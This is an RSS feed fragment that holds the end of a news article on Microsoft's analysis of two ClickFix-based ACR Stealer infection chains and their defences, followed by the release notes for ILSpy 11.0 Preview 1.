<p class="wp-block-paragraph">The campaign was seen tricking users into executing malicious commands to resolve a fake issue. Once the malware is executed, it extracts browser-stored credentials, session tokens, and documents, which can potentially allow attackers to access cloud services, impersonate users, and conduct follow-on intrusions across enterprise environments.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/nicholas-tausek-6ab41611/" target="_blank" rel="noreferrer noopener">Nick Tausek</a>, lead security automation architect at Swimlane, thinks attackers could be using two distinct chains to trick defense tuned on individual indicators.  “By changing the delivery and execution patterns, attackers can evade defenses tuned to one known chain and make related incidents appear disconnected,“ he said. “Security teams may split the activity across separate investigations, delaying recognition of the shared malware and objective.”</p>



<p class="wp-block-paragraph">ACR Stealer is an information-stealing malware family Microsoft believes is offered through a malware-as-a-service (<a href="https://www.csoonline.com/article/4148601/chrome-abe-bypass-discovered-new-voidstealer-malware-steals-passwords-and-cookies.html">MaaS</a>) model, with possible links to the Amatera Stealer.</p>



<h2 class="wp-block-heading">WebDAV and MSHTA-based chains</h2>



<p class="wp-block-paragraph">Although both campaigns begin with ClickFix lures, Microsoft’s analysis shows they diverge after initial execution. One attack chain uses <a href="https://www.csoonline.com/article/530692/data-protection-webdav-is-bad-says-security-researcher.html">WebDAV</a>-hosted DLLs, PowerShell, Python loaders, scheduled-task persistence, and even blockchain-based infrastructure called the “EtherHiding” technique, to complicate detection and command and control (C2) discovery.</p>



<p class="wp-block-paragraph">The second chain uses <a href="https://www.csoonline.com/article/4173096/internet-explorer-may-be-dead-but-its-ghost-still-runs-malware.html">MSHTA</a>, heavily obfuscated PowerShell, stenography, and predominantly fileless, in-memory execution to minimize forensic trails.</p>



<p class="wp-block-paragraph">“The most troubling part of ACR Stealer is the flexibility surrounding the theft. One chain invests in persistence and layered infrastructure, while the other favors memory execution and fewer forensic traces,” Tausek said. “Those approaches look different to defenders, yet both turn a simple ClickFix lure into stolen credentials, tokens, and business documents.”</p>



<p class="wp-block-paragraph">Microsoft researchers said protections against these campaigns have now been added to Defender. “Microsoft Defender for Endpoint can help surface both campaigns through behavioral coverage for living-off-the-land execution, suspicious WebDAV and MSHTA activity, obfuscated PowerShell, scheduled-task persistence, in-memory payload execution, and browser credential theft,” they <a href="https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/" target="_blank" rel="noreferrer noopener">said</a>.</p>



<h2 class="wp-block-heading">Mitigations include ClickFix-targeted detections</h2>



<p class="wp-block-paragraph">The report highlighted that neither of the campaigns exploits any software vulnerability, depending solely on ClickFix-based social engineering.</p>



<p class="wp-block-paragraph">Microsoft warned its Defender customers that ClickFix attacks <a href="https://www.csoonline.com/article/4016208/sixfold-surge-of-clickfix-attacks-threatens-corporate-defenses.html">are on the rise</a> and shared XDR queries to identify suspicious commands executed through ClickFix-based activity observed while delivering the ACR Stealer.</p>



<p class="wp-block-paragraph">Microsoft also recommended, as general defense, monitoring for suspicious PowerShell activity, MSHTA execution, WebDAV connections, and attempts to access browser credential stores, while also enabling Microsoft Defender SmartScreen and Attack Surface Reduction (ASR) rules to block common malware delivery techniques.</p>



<p class="wp-block-paragraph">“The campaigns do not need to directly aid one another to be effective. Together, they create ambiguity and stretch limited SOC resources,” Tausek explained. Security teams need enough visibility to correlate endpoint, identity, and network activity as one evolving intrusion, he added.</p>



<p class="wp-block-paragraph">Microsoft also shared a list of C2 addresses and payload hosting domains for defenders to add to their detection.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ILSpy 11.0 Preview 1]]></title>
<description><![CDATA[WarningWe DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.
Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-th...]]></description>
<link>https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</guid>
<pubDate>Sun, 19 Jul 2026 16:33:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-warning"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-alert mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Warning</p><p><strong>We DO NOT own the domain ilspy[.]org</strong> See <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211773802" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3709" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3709/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3709">#3709</a><br>
Download ILSpy only from GitHub Releases!</p>
</div>
<p>This release is based on <a href="https://dotnet.microsoft.com/en-us/download/dotnet/10.0" rel="nofollow">.NET 10.0</a>. Please make sure that you have it installed on your machine beforehand.</p>
<p>Note for Mac users: see <a href="https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact">https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact</a> because the ILSpy.app is neither signed nor notarized.</p>
<h1>Avalonia Cross Platform Port</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630432393" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3755" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3755/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3755">#3755</a>: Avalonia 12 Port and Removal of the WPF UI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632742730" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3759" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3759/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3759">#3759</a>: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4638079113" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3766" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3766/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3766">#3766</a>: Round-trip the legacy WPF SessionSettings shape</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639024005" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3768" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3768/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3768">#3768</a>: Build, test, and package ILSpy on Linux and macOS in CI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810623972" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3861" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3861/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3861">#3861</a>: Show text-based resources inline with syntax highlighting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4852089007" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3875" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3875/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3875">#3875</a>: Avalonia 12.1</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4863426967" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3876" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3876/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3876">#3876</a>: Keep BAML decompilation working when WPF assemblies are missing</li>
</ul>
<h1>New Features</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789908433" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3847" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3847/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3847">#3847</a>: Unpack !AvaloniaResources into per-file resource tree nodes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718765259" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3801" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3801/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3801">#3801</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4712188871" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3797" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3797/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3797">#3797</a>: resolve ilspycmd -t type names with fuzzy matching</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4683952279" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3789" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3789/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3789">#3789</a>: Add a bookmarks feature for the decompiled C# view</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666953116" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3786" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3786/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3786">#3786</a>: Add omnibar breadcrumb and search bar above the decompiled code</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639165641" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3769" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3769/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3769">#3769</a>: Make the override modifier a link to the overridden member</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634190887" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3762" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3762/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3762">#3762</a>: Add Open from NuGet feed dialog for browsing and opening packages</li>
</ul>
<h1>User Interface</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808073575" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3857" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3857/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3857">#3857</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="665845843" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2078" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2078/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2078">#2078</a>: Generic local functions not highlighted properly</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807826529" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3855" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3855/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3855">#3855</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4781346048" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3845" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3845/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3845">#3845</a>: Add option to expand XML documentation comments</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732796565" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3814" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3814/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3814">#3814</a>: Toggle the fold under the right-click, not at the caret</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732765182" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3812" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3812/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3812">#3812</a>: Syntax-colour analyzer signatures with bold type names (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="704805286" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2164" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2164/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2164">#2164</a>)</li>
</ul>
<h1>Enhancements</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832648354" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3872" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3872/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3872">#3872</a>: Decompile await on dynamic expressions</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759122422" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3837" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3837/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3837">#3837</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720769518" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3804" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3804/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3804">#3804</a>: decompile foreach over inline array</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687061981" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3791" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3791/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3791">#3791</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650340876" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3777" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3777/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3777">#3777</a>: decompile runtime async without a separate C# 15 setting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761445685" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3843" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3843/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3843">#3843</a>: Bound XamarinCompressedFileLoader against crafted XALZ headers</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761395399" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3842" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3842/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3842">#3842</a>: Bound WebCilFile section access against mapped-view length</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761295787" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3841" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3841/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3841">#3841</a>: Harden BAML reader against crafted-resource crashes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735803980" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3816" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3816/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3816">#3816</a>: Allow overriding an assembly's target framework for reference resolution</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761169648" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3840" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3840/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3840">#3840</a>: Bound .rsrc resource-tree parsing against crafted input</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759588790" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3838" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3838/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3838">#3838</a>: Guard against OOB read when bundle signature is at file start</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737336554" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3818" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3818/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3818">#3818</a>: Display the IL 'tail.' prefix in C# output</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723910454" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3808" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3808/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3808">#3808</a>: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719933938" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3802" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3802/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3802">#3802</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718225639" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3799" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3799/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3799">#3799</a> and three related stackalloc initializer decompilation defects</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652771245" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3780" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3780/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3780">#3780</a>: Compute public-key tokens with a managed SHA-1</li>
</ul>
<h1>Documentation</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820002722" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3868" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3868/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3868">#3868</a>: CONTRIBUTING.md for the AI era</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820951011" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3870" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3870/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3870">#3870</a>: Add decompiler architecture document</li>
</ul>
<h1>Testing / Infrastructure</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644097043" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3771" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3771/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3771">#3771</a>: Run the decompiler test suite on Linux</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671571517" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3788" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3788/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3788">#3788</a>: Use cross-platform separators for the FSharp.Core.dll test path</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723637729" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3807" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3807/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3807">#3807</a>: Adopt SDK default Compile items in Decompiler and Decompiler.Tests</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733975594" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3815" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3815/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3815">#3815</a>: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758438764" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3836" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3836/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3836">#3836</a>: Don't assert decompiled local types match the signature</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761139795" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3839" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3839/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3839">#3839</a>: Add fine-grained debug steps with highlighting for C# and ILAst</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793373898" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3849" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3849/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3849">#3849</a>: Set OpenSSL SHA1 flag in build scripts</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808741983" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3859" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3859/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3859">#3859</a>: Add test coverage for untested corners of implemented language features</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851968414" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3874" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3874/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3874">#3874</a>: Upload TestCases folder as artifact when CI tests fail</li>
</ul>
<h1>Contributions</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801689525" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3851" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3851/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3851">#3851</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801681484" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3850" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3850/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3850">#3850</a>: recover ReadOnlySpan array literals from the legacy lazy cache — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4864134658" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3878" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3878/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3878">#3878</a>: Handle negative dictionary capacity in string switch transform — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750785500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3828" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3828/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3828">#3828</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713145" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3826" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3826/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3826">#3826</a>: wrap an overflowing constant subexpression in unchecked() — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752170808" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3831" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3831/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3831">#3831</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713020" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3825" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3825/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3825">#3825</a>: reconstruct async iterators with [EnumeratorCancellation] and await in finally — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752125428" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3830" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3830/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3830">#3830</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713292" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3827" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3827/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3827">#3827</a>: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750148217" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3823" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3823/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3823">#3823</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749937155" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3821" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3821/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3821">#3821</a>: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750084889" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3822" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3822/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3822">#3822</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749936915" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3820" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3820/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3820">#3820</a>: decompile dynamic ~ as ~x instead of an unsupported-opcode error — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
